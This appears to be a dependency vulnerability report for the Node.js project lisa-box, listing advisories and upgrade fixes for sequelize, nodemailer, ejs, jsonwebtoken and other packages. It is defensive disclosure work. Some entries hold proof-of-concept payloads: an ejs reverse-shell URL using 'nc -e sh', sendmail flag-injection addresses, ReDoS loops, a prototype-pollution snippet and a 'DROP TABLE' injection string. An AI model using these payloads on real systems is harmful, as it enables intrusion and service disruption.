Vulnerabilities

46 via 53 paths

Dependencies

550

Source

GitHub

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Issue type
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Severity
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Status
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critical severity

SQL Injection

  • Vulnerable module: sequelize
  • Introduced through: trailpack-sequelize@2.0.0

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-sequelize@2.0.0 sequelize@3.35.1

Overview

sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.

Affected versions of this package are vulnerable to SQL Injection via the replacements statement. It allowed a malicious actor to pass dangerous values such as OR true; DROP TABLE users through replacements which would result in arbitrary SQL execution.

Remediation

Upgrade sequelize to version 6.19.1 or higher.

References

high severity

Command Injection

  • Vulnerable module: nodemailer
  • Introduced through: trailpack-email@2.0.1

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-email@2.0.1 nodemailer@4.7.0

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to Command Injection. Use of crafted recipient email addresses may result in arbitrary command flag injection in sendmail transport for sending mails.

PoC

-bi@example.com (-bi Initialize the alias database.)
-d0.1a@example.com (The option -d0.1 prints the version of sendmail and the options it was compiled with.)
-Dfilename@example.com (Debug output ffile)

Remediation

Upgrade nodemailer to version 6.4.16 or higher.

References

high severity

Improper Filtering of Special Elements

  • Vulnerable module: sequelize
  • Introduced through: trailpack-sequelize@2.0.0

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-sequelize@2.0.0 sequelize@3.35.1

Overview

sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.

Affected versions of this package are vulnerable to Improper Filtering of Special Elements due to attributes not being escaped if they included ( and ), or were equal to * and were split if they included the character ..

Remediation

Upgrade sequelize to version 6.29.0 or higher.

References

high severity

Remote Code Execution (RCE)

  • Vulnerable module: ejs
  • Introduced through: ejs@2.7.4

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box ejs@2.7.4
    Remediation: Upgrade to ejs@3.1.7.

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the view options parameter of renderFile, which makes it possible to inject code into outputFunctionName.

Note: This vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.

PoC:

Creation of reverse shell:

http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s

Remediation

Upgrade ejs to version 3.1.7 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: ansi-regex
  • Introduced through: sqlite3@4.2.0

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box sqlite3@4.2.0 node-pre-gyp@0.11.0 npmlog@4.1.2 gauge@2.7.4 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: lisa-box@mylisabox/lisa-box sqlite3@4.2.0 node-pre-gyp@0.11.0 npmlog@4.1.2 gauge@2.7.4 string-width@1.0.2 strip-ansi@3.0.1 ansi-regex@2.1.1

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*.

PoC

import ansiRegex from 'ansi-regex';

for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = "\u001B["+";".repeat(i*10000);
    ansiRegex().test(attack_str)
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade ansi-regex to version 3.0.1, 4.1.1, 5.0.1, 6.0.1 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: dicer
  • Introduced through: multer@1.4.4

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box multer@1.4.4 busboy@0.2.14 dicer@0.2.5

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS). A malicious attacker can send a modified form to server, and crash the nodejs service. An attacker could sent the payload again and again so that the service continuously crashes.

PoC

await fetch('http://127.0.0.1:8000', { method: 'POST', headers: { ['content-type']: 'multipart/form-data; boundary=----WebKitFormBoundaryoo6vortfDzBsDiro', ['content-length']: '145', connection: 'keep-alive', }, body: '------WebKitFormBoundaryoo6vortfDzBsDiro\r\n Content-Disposition: form-data; name="bildbeschreibung"\r\n\r\n\r\n------WebKitFormBoundaryoo6vortfDzBsDiro--' });

Remediation

There is no fixed version for dicer.

References

high severity

Prototype Pollution

  • Vulnerable module: dottie
  • Introduced through: trailpack-sequelize@2.0.0

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-sequelize@2.0.0 sequelize@3.35.1 dottie@1.1.1
    Remediation: Upgrade to trailpack-sequelize@2.0.2.

Overview

dottie is a Fast and safe nested object access and manipulation in JavaScript

Affected versions of this package are vulnerable to Prototype Pollution due to insufficient checks, via the set() function and the current variable in the /dottie.js file.

PoC

var dottie = require("dottie")


var obj1 = {}
var obj2 = {}

var bad_path1 = '__proto__.test1'
var bad_path2 = '__proto__.test2'
console.log("before:"+ obj1.test1)
console.log("before:"+ obj2.test2)
dottie.default(obj1,bad_path1,"polluted1")
dottie.set(obj2,bad_path2,"polluted2")
console.log("after:"+obj1.test1)
console.log("after:"+obj2.test2)

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade dottie to version 2.0.4 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: engine.io
  • Introduced through: trailpack-realtime@2.0.0

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-realtime@2.0.0 engine.io@1.8.5

Overview

engine.io is a realtime engine behind Socket.IO. It provides the foundation of a bidirectional connection between client and server

Affected versions of this package are vulnerable to Denial of Service (DoS) via a POST request to the long polling transport.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade engine.io to version 3.6.0 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: engine.io
  • Introduced through: trailpack-realtime@2.0.0

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-realtime@2.0.0 engine.io@1.8.5

Overview

engine.io is a realtime engine behind Socket.IO. It provides the foundation of a bidirectional connection between client and server

Affected versions of this package are vulnerable to Denial of Service (DoS). A malicious client could send a specially crafted HTTP request, triggering an uncaught exception and killing the Node.js process.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade engine.io to version 3.6.1, 6.2.1 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: i18next
  • Introduced through: trails@2.0.2

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box trails@2.0.2 i18next@3.5.2
    Remediation: Upgrade to trails@3.0.0.

Overview

i18next is an internationalization framework for browser or any other javascript environment (eg. node.js).

Affected versions of this package are vulnerable to Prototype Pollution via getLastOfPath() in i18next.js.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade i18next to version 19.8.5 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: semver
  • Introduced through: mdns-js@1.0.3

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box mdns-js@1.0.3 semver@5.4.1

Overview

semver is a semantic version parser used by npm.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

PoC


const semver = require('semver')
const lengths_2 = [2000, 4000, 8000, 16000, 32000, 64000, 128000]

console.log("n[+] Valid range - Test payloads")
for (let i = 0; i =1.2.3' + ' '.repeat(lengths_2[i]) + '<1.3.0';
const start = Date.now()
semver.validRange(value)
// semver.minVersion(value)
// semver.maxSatisfying(["1.2.3"], value)
// semver.minSatisfying(["1.2.3"], value)
// new semver.Range(value, {})

const end = Date.now();
console.log('length=%d, time=%d ms', value.length, end - start);
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade semver to version 5.7.2, 6.3.1, 7.5.2 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: sqlite3
  • Introduced through: sqlite3@4.2.0

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box sqlite3@4.2.0
    Remediation: Upgrade to sqlite3@5.0.3.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) which will invoke the toString function of the passed parameter. If passed an invalid Function object it will throw and crash the V8 engine.

PoC

let sqlite3 = require('sqlite3').verbose(); 
let db = new sqlite3.Database(':memory:'); 
db.serialize(function() { 
  db.run("CREATE TABLE lorem (info TEXT)"); 
  db.run("INSERT INTO lorem VALUES (?)", [{toString: 23}]);  
});

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade sqlite3 to version 5.0.3 or higher.

References

high severity

Hash Injection

  • Vulnerable module: sequelize
  • Introduced through: trailpack-sequelize@2.0.0

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-sequelize@2.0.0 sequelize@3.35.1
    Remediation: Upgrade to trailpack-sequelize@2.0.2.

Overview

sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.

Affected versions of this package are vulnerable to Hash Injection. Using specially crafted requests an attacker can bypass secret_token protections on websites using sequalize.

For example:

db.Token.findOne({
      where: {
        token: req.query.token
      }
);

Node.js and other platforms allow nested parameters, i.e. token[$gt]=1 will be transformed into token = {"$gt":1}. When such a hash is passed into sequalize it will consider it a query (greater than 1) and find the first token in the DB, bypassing security of this endpoint.

Remediation

Upgrade sequelize to version 4.12.0 or higher.

References

high severity

SQL Injection

  • Vulnerable module: sequelize
  • Introduced through: trailpack-sequelize@2.0.0

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-sequelize@2.0.0 sequelize@3.35.1

Overview

sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.

Affected versions of this package are vulnerable to SQL Injection due to an improper escaping for multiple appearances of $ in a string.

Remediation

Upgrade sequelize to version 6.21.2 or higher.

References

high severity

GPL-3.0 license

  • Module: lisa-discovery
  • Introduced through: lisa-discovery@1.1.1

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box lisa-discovery@1.1.1

GPL-3.0 license

high severity

GPL-3.0 license

  • Module: lisa-plugins-manager
  • Introduced through: lisa-plugins-manager@0.0.19

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box lisa-plugins-manager@0.0.19

GPL-3.0 license

medium severity

Use of a Broken or Risky Cryptographic Algorithm

  • Vulnerable module: jsonwebtoken
  • Introduced through: passport-jwt@2.2.1 and trailpack-passport@2.2.5

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box passport-jwt@2.2.1 jsonwebtoken@7.4.3
    Remediation: Upgrade to passport-jwt@4.0.1.
  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-passport@2.2.5 jsonwebtoken@8.5.1

Overview

jsonwebtoken is a JSON Web Token implementation (symmetric and asymmetric)

Affected versions of this package are vulnerable to Use of a Broken or Risky Cryptographic Algorithm such that the library can be misconfigured to use legacy, insecure key types for signature verification. For example, DSA keys could be used with the RS256 algorithm.

Exploitability

Users are affected when using an algorithm and a key type other than the combinations mentioned below:

EC: ES256, ES384, ES512

RSA: RS256, RS384, RS512, PS256, PS384, PS512

RSA-PSS: PS256, PS384, PS512

And for Elliptic Curve algorithms:

ES256: prime256v1

ES384: secp384r1

ES512: secp521r1

Workaround

Users who are unable to upgrade to the fixed version can use the allowInvalidAsymmetricKeyTypes option to true in the sign() and verify() functions to continue usage of invalid key type/algorithm combination in 9.0.0 for legacy compatibility.

Remediation

Upgrade jsonwebtoken to version 9.0.0 or higher.

References

medium severity

Server-Side Request Forgery (SSRF)

  • Vulnerable module: ip
  • Introduced through: bonjour@3.5.0

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box bonjour@3.5.0 multicast-dns@6.2.3 dns-packet@1.3.4 ip@1.1.9

Overview

ip is a Node library.

Affected versions of this package are vulnerable to Server-Side Request Forgery (SSRF) via the isPublic function, which identifies some private IP addresses as public addresses due to improper parsing of the input. An attacker can manipulate a system that uses isLoopback(), isPrivate() and isPublic functions to guard outgoing network requests to treat certain IP addresses as globally routable by supplying specially crafted IP addresses.

Note

This vulnerability derived from an incomplete fix for CVE-2023-42282

Remediation

There is no fixed version for ip.

References

medium severity

Improper Restriction of Security Token Assignment

  • Vulnerable module: jsonwebtoken
  • Introduced through: passport-jwt@2.2.1 and trailpack-passport@2.2.5

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box passport-jwt@2.2.1 jsonwebtoken@7.4.3
    Remediation: Upgrade to passport-jwt@4.0.1.
  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-passport@2.2.5 jsonwebtoken@8.5.1

Overview

jsonwebtoken is a JSON Web Token implementation (symmetric and asymmetric)

Affected versions of this package are vulnerable to Improper Restriction of Security Token Assignment via the secretOrPublicKey argument due to misconfigurations of the key retrieval function jwt.verify(). Exploiting this vulnerability might result in incorrect verification of forged tokens when tokens signed with an asymmetric public key could be verified with a symmetric HS256 algorithm.

Note: This vulnerability affects your application if it supports the usage of both symmetric and asymmetric keys in jwt.verify() implementation with the same key retrieval function.

Remediation

Upgrade jsonwebtoken to version 9.0.0 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: request
  • Introduced through: request@2.88.2

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box request@2.88.2

Overview

request is a simplified http request client.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to insufficient checks in the lib/redirect.js file by allowing insecure redirects in the default configuration, via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP).

NOTE: request package has been deprecated, so a fix is not expected. See https://github.com/request/request/issues/3142.

Remediation

A fix was pushed into the master branch but not yet published.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: sequelize
  • Introduced through: trailpack-sequelize@2.0.0

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-sequelize@2.0.0 sequelize@3.35.1
    Remediation: Upgrade to trailpack-sequelize@2.0.2.

Overview

sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.

Affected versions of this package are vulnerable to Denial of Service (DoS). The afterResults function for the SQLite dialect fails to catch a TypeError exception for the results variable. This allows attackers to submit malicious input that forces the exception and crashes the Node process.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade sequelize to version 4.44.4 or higher.

References

medium severity

Uncontrolled Resource Consumption ('Resource Exhaustion')

  • Vulnerable module: tar
  • Introduced through: sqlite3@4.2.0

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box sqlite3@4.2.0 node-pre-gyp@0.11.0 tar@4.4.19

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') due to the lack of folders count validation during the folder creation process. An attacker who generates a large number of sub-folders can consume memory on the system running the software and even crash the client within few seconds of running it using a path with too many sub-folders inside.

Remediation

Upgrade tar to version 6.2.1 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: tough-cookie
  • Introduced through: request@2.88.2

Detailed paths
